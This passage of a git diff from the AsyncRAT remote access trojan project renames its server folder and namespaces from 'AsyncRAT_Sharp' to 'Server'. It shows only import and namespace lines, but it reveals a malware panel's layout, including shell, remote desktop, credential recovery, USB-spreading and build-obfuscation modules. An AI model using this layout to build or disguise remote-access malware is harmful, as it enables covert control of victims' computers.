using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleRecovery { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs similarity index 94% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index 413667a..b846271 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -1,14 +1,14 @@ -using AsyncRAT_Sharp.Forms; -using AsyncRAT_Sharp.Helper; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.Forms; +using Server.Helper; +using Server.MessagePack; +using Server.Sockets; using System; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleRemoteDesktop { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs similarity index 93% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs index 5165ab9..b0ff3a4 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleReportWindow.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleReportWindow.cs @@ -1,4 +1,4 @@ -using AsyncRAT_Sharp.Sockets; +using Server.Sockets; using System; using System.Collections.Generic; using System.Drawing; @@ -7,7 +7,7 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleReportWindow { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleShell.cs b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs similarity index 86% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleShell.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleShell.cs index bfe948c..a749d6f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleShell.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleShell.cs @@ -1,6 +1,6 @@ -using AsyncRAT_Sharp.Forms; -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.Forms; +using Server.MessagePack; +using Server.Sockets; using System; using System.Collections.Generic; using System.Linq; @@ -8,7 +8,7 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleShell { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs rename to AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs index 5e15f83..6f599ba 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs @@ -1,11 +1,11 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public class HandleThumbnails { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs similarity index 97% rename from AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs rename to AsyncRAT-C#/Server/Handle Packet/Packet.cs index ccc5eff..a5dd08a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -1,14 +1,14 @@ -using AsyncRAT_Sharp.Sockets; -using AsyncRAT_Sharp.MessagePack; +using Server.Sockets; +using Server.MessagePack; using System; using System.Diagnostics; using System.Drawing; -using AsyncRAT_Sharp.Forms; +using Server.Forms; using System.Security.Cryptography; using System.IO; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Handle_Packet +namespace Server.Handle_Packet { public static class Packet { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs b/AsyncRAT-C#/Server/Helper/AsyncTask.cs similarity index 83% rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs rename to AsyncRAT-C#/Server/Helper/AsyncTask.cs index d4da210..f8f6919 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/AsyncTask.cs +++ b/AsyncRAT-C#/Server/Helper/AsyncTask.cs @@ -1,5 +1,5 @@ -using AsyncRAT_Sharp.MessagePack; -using AsyncRAT_Sharp.Sockets; +using Server.MessagePack; +using Server.Sockets; using System; using System.Collections.Generic; using System.Linq; @@ -9,7 +9,7 @@ using System.Windows.Forms; using System.Threading; using System.Diagnostics; -namespace AsyncRAT_Sharp.Helper +namespace Server.Helper { public class AsyncTask { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs rename to AsyncRAT-C#/Server/Helper/CreateCertificate.cs index dec34f1..0d6d09e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/CreateCertificate.cs +++ b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs @@ -15,7 +15,7 @@ using System.Security.Cryptography.X509Certificates; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.Helper +namespace Server.Helper { public static class CreateCertificate { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs b/AsyncRAT-C#/Server/Helper/IconInjector.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs rename to AsyncRAT-C#/Server/Helper/IconInjector.cs index c20897c..5c1d6ba 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs +++ b/AsyncRAT-C#/Server/Helper/IconInjector.cs @@ -3,7 +3,7 @@ using System.Runtime.InteropServices; using System.Security; -namespace AsyncRAT_Sharp.Helper +namespace Server.Helper { public static class IconInjector { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs b/AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs rename to AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs index 20c5032..760f762 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListViewColumnSorter.cs +++ b/AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs @@ -1,7 +1,7 @@ using System.Collections; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Helper +namespace Server.Helper { //support.microsoft.com/en-us/help/319401/how-to-sort-a-listview-control-by-a-column-in-visual-c public class ListViewColumnSorter : IComparer diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListviewDoubleBuffer.cs b/AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs similarity index 93% rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListviewDoubleBuffer.cs rename to AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs index fa02fd7..fc3ed44 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ListviewDoubleBuffer.cs +++ b/AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs @@ -6,7 +6,7 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Helper +namespace Server.Helper { public static class ListviewDoubleBuffer { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs b/AsyncRAT-C#/Server/Helper/Methods.cs similarity index 97% rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs rename to AsyncRAT-C#/Server/Helper/Methods.cs index 082665f..9840d6b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs +++ b/AsyncRAT-C#/Server/Helper/Methods.cs @@ -4,7 +4,7 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; -namespace AsyncRAT_Sharp.Helper +namespace Server.Helper { public static class Methods { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ReferenceLoader.cs b/AsyncRAT-C#/Server/Helper/ReferenceLoader.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/Helper/ReferenceLoader.cs rename to AsyncRAT-C#/Server/Helper/ReferenceLoader.cs index 2f2f2d9..b07f48f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/ReferenceLoader.cs +++ b/AsyncRAT-C#/Server/Helper/ReferenceLoader.cs @@ -6,7 +6,7 @@ using System.Reflection; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.Helper +namespace Server.Helper { public class ReferenceLoader : MarshalByRefObject { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/BytesTools.cs b/AsyncRAT-C#/Server/MessagePack/BytesTools.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/BytesTools.cs rename to AsyncRAT-C#/Server/MessagePack/BytesTools.cs index 8ca0275..5bdadb9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/BytesTools.cs +++ b/AsyncRAT-C#/Server/MessagePack/BytesTools.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.MessagePack +namespace Server.MessagePack { public class BytesTools { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs b/AsyncRAT-C#/Server/MessagePack/MsgPack.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs rename to AsyncRAT-C#/Server/MessagePack/MsgPack.cs index 704bb14..2f848cd 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs +++ b/AsyncRAT-C#/Server/MessagePack/MsgPack.cs @@ -19,7 +19,7 @@ using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.MessagePack +namespace Server.MessagePack { public class MsgPackEnum : IEnumerator { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Server/MessagePack/MsgPackType.cs similarity index 91% rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPackType.cs rename to AsyncRAT-C#/Server/MessagePack/MsgPackType.cs index 8a47d25..8235457 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPackType.cs +++ b/AsyncRAT-C#/Server/MessagePack/MsgPackType.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.MessagePack +namespace Server.MessagePack { public enum MsgPackType { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/ReadTools.cs b/AsyncRAT-C#/Server/MessagePack/ReadTools.cs similarity index 98% rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/ReadTools.cs rename to AsyncRAT-C#/Server/MessagePack/ReadTools.cs index 274fef2..d17f2eb 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/ReadTools.cs +++ b/AsyncRAT-C#/Server/MessagePack/ReadTools.cs @@ -5,7 +5,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.MessagePack +namespace Server.MessagePack { class ReadTools { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/WriteTools.cs b/AsyncRAT-C#/Server/MessagePack/WriteTools.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/WriteTools.cs rename to AsyncRAT-C#/Server/MessagePack/WriteTools.cs index 19414a3..12db4d5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/WriteTools.cs +++ b/AsyncRAT-C#/Server/MessagePack/WriteTools.cs @@ -5,7 +5,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.MessagePack +namespace Server.MessagePack { class WriteTools { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/ModuleDefMD.cs b/AsyncRAT-C#/Server/ModuleDefMD.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/ModuleDefMD.cs rename to AsyncRAT-C#/Server/ModuleDefMD.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Program.cs b/AsyncRAT-C#/Server/Program.cs similarity index 96% rename from AsyncRAT-C#/AsyncRAT-Sharp/Program.cs rename to AsyncRAT-C#/Server/Program.cs index 458049b..fe45bf3 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Program.cs +++ b/AsyncRAT-C#/Server/Program.cs @@ -12,7 +12,7 @@ using System.Windows.Forms; This program Is distributed for educational purposes only. */ -namespace AsyncRAT_Sharp +namespace Server { static class Program { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/AssemblyInfo.cs rename to AsyncRAT-C#/Server/Properties/AssemblyInfo.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs rename to AsyncRAT-C#/Server/Properties/Resources.Designer.cs index 276f628..6c9865f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs @@ -8,7 +8,7 @@ // //------------------------------------------------------------------------------ -namespace AsyncRAT_Sharp.Properties { +namespace Server.Properties { using System; @@ -39,7 +39,7 @@ namespace AsyncRAT_Sharp.Properties { internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("AsyncRAT_Sharp.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx rename to AsyncRAT-C#/Server/Properties/Resources.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs rename to AsyncRAT-C#/Server/Properties/Settings.Designer.cs index 3277dd5..7b9ebca 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Settings.Designer.cs @@ -8,7 +8,7 @@ // //------------------------------------------------------------------------------ -namespace AsyncRAT_Sharp.Properties { +namespace Server.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings b/AsyncRAT-C#/Server/Properties/Settings.settings similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings rename to AsyncRAT-C#/Server/Properties/Settings.settings diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs similarity index 85% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs index d3de7e9..50e097d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Base64.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs @@ -1,11 +1,11 @@ -using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using Server.RenamingObfuscation.Interfaces; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { public class Base64 : ICrypto { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs index e0130d1..0a21fa4 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/ClassesRenaming.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs @@ -1,10 +1,10 @@ -using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using Server.RenamingObfuscation.Interfaces; using dnlib.DotNet; using dnlib.DotNet.Emit; using System.Collections.Generic; using System.Linq; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { public class ClassesRenaming : IRenaming { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs similarity index 92% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs index b7d8334..690e06e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/DecryptionHelper.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { internal static class DecryptionHelper { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs index fc36ff6..e957651 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/FieldsRenaming.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs @@ -1,10 +1,10 @@ -using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using Server.RenamingObfuscation.Interfaces; using dnlib.DotNet; using dnlib.DotNet.Emit; using System.Collections.Generic; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { public class FieldsRenaming : IRenaming { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs index 8a53f8d..532873c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/InjectHelper.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs @@ -4,7 +4,7 @@ using System.Collections.Generic; using System.Linq; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { public static class InjectHelper { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs similarity index 89% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs index f65f85e..c759f7b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs @@ -1,8 +1,8 @@ -using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using Server.RenamingObfuscation.Interfaces; using dnlib.DotNet; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { public class MethodsRenaming : IRenaming { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs index 0b3b041..957eb25 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs @@ -1,4 +1,4 @@ -using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using Server.RenamingObfuscation.Interfaces; using dnlib.DotNet; using dnlib.DotNet.Emit; using System; @@ -7,7 +7,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { public class NamespacesRenaming : IRenaming { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs similarity index 84% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs index 9790b6a..b7f0b36 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs @@ -1,7 +1,7 @@ -using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using Server.RenamingObfuscation.Interfaces; using dnlib.DotNet; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { public class PropertiesRenaming : IRenaming { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs similarity index 93% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs index d91a27f..2703e25 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs @@ -3,7 +3,7 @@ using System.Collections.Generic; using System.Security.Cryptography; using System.Text; -namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +namespace Server.RenamingObfuscation.Classes { public static class Utils { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs b/AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs similarity index 94% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs index 3d68445..a4b865b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs @@ -1,5 +1,5 @@ -using AsyncRAT_Sharp.RenamingObfuscation.Classes; -using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using Server.RenamingObfuscation.Classes; +using Server.RenamingObfuscation.Interfaces; using dnlib.DotNet; using dnlib.DotNet.Emit; using System; @@ -8,7 +8,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.RenamingObfuscation +namespace Server.RenamingObfuscation { public static class EncryptString { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs similarity index 78% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs index ca59525..09c4830 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace AsyncRAT_Sharp.RenamingObfuscation.Interfaces +namespace Server.RenamingObfuscation.Interfaces { public interface ICrypto { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs similarity index 67% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs index d2312d7..55dd41b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs @@ -1,6 +1,6 @@ using dnlib.DotNet; -namespace AsyncRAT_Sharp.RenamingObfuscation.Interfaces +namespace Server.RenamingObfuscation.Interfaces { public interface IRenaming { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs b/AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs similarity index 85% rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs rename to AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs index 01077a1..aceb197 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs +++ b/AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs @@ -1,10 +1,10 @@ -using AsyncRAT_Sharp.RenamingObfuscation.Classes; -using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using Server.RenamingObfuscation.Classes; +using Server.RenamingObfuscation.Interfaces; using dnlib.DotNet; // Credit github.com/srn-g/RenamingObfuscation // Fxied by nyan cat -namespace AsyncRAT_Sharp.RenamingObfuscation +namespace Server.RenamingObfuscation { public class Renaming { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config rename to AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.xml b/AsyncRAT-C#/Server/Resources/Costura.xml similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.xml rename to AsyncRAT-C#/Server/Resources/Costura.xml diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/HandleLimeUSB.dll b/AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/HandleLimeUSB.dll rename to AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/IconLib.dll b/AsyncRAT-C#/Server/Resources/IconLib.dll similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/IconLib.dll rename to AsyncRAT-C#/Server/Resources/IconLib.dll diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Miscellaneous.png b/AsyncRAT-C#/Server/Resources/Miscellaneous.png similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/Miscellaneous.png rename to AsyncRAT-C#/Server/Resources/Miscellaneous.png diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Plugin.dll b/AsyncRAT-C#/Server/Resources/Plugin.dll similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/Plugin.dll rename to AsyncRAT-C#/Server/Resources/Plugin.dll diff --git 